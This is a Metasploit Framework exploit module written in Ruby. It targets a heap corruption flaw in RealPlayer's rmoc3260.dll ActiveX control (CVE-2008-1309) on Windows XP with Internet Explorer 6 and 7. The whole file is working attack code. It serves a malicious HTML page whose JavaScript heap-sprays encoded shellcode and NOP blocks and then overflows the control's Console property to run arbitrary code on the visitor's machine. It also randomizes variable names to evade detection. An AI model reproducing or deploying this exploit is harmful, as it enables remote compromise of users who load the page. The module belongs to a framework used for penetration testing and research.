|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125  |  ## # $Id: realplayer_console.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})  super(update_info(info,  'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',  'Description'=> %q{  This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.  By sending a specially crafted string to the 'Console' property  in the rmoc3260.dll control, an attacker may be able to execute  arbitrary code.  },  'License'=> MSF_LICENSE,  'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],  'Version'=> '$Revision: 9525 $',  'References' =>  [  [ 'CVE', '2008-1309' ],  [ 'OSVDB', '42946' ],  [ 'BID', '28157' ],  [ 'URL', 'http://secunia.com/advisories/29315/' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space' => 1024,  'BadChars'=> "\x00\x09\x0a\x0d'\\",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]  ],  'DisclosureDate' => 'Mar 8 2008',  'DefaultTarget'=> 0))  end  def autofilter  false  end  def check_dependencies  use_zlib  end  def on_request_uri(cli, request)  # Re-generate the payload  return if ((p = regenerate_payload(cli)) == nil)  # Encode the shellcode  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  # Setup exploit buffers  nops = Rex::Text.to_unescape([target.ret].pack('V'))  ret = Rex::Text.uri_encode([target.ret].pack('L'))  blocksize = 0x40000  fillto= 400  offset = target['Offset']  # Randomize the javascript variable names  racontrol= rand_text_alpha(rand(100) + 1)  j_shellcode= rand_text_alpha(rand(100) + 1)  j_nops = rand_text_alpha(rand(100) + 1)  j_headersize = rand_text_alpha(rand(100) + 1)  j_slackspace = rand_text_alpha(rand(100) + 1)  j_fillblock= rand_text_alpha(rand(100) + 1)  j_block= rand_text_alpha(rand(100) + 1)  j_memory = rand_text_alpha(rand(100) + 1)  j_counter= rand_text_alpha(rand(30) + 2)  j_ret= rand_text_alpha(rand(100) + 1)  # Build out the message  content = %Q|<html> <object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object> <script language='javascript'> #{j_shellcode} = unescape('#{shellcode}'); #{j_nops} = unescape('#{nops}'); #{j_headersize} = 20; #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace}); #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace}); while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; #{j_memory} = new Array(); for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; #{j_ret} = unescape('#{ret}'); while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret}; #{racontrol}.Console = #{j_ret}; #{racontrol}.Console = ''; #{racontrol}.Console = #{j_ret}; </script> </html> |  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  # Transmit the response to the client  send_response_html(cli, content)  # Handle the payload  handler(cli)  end end  |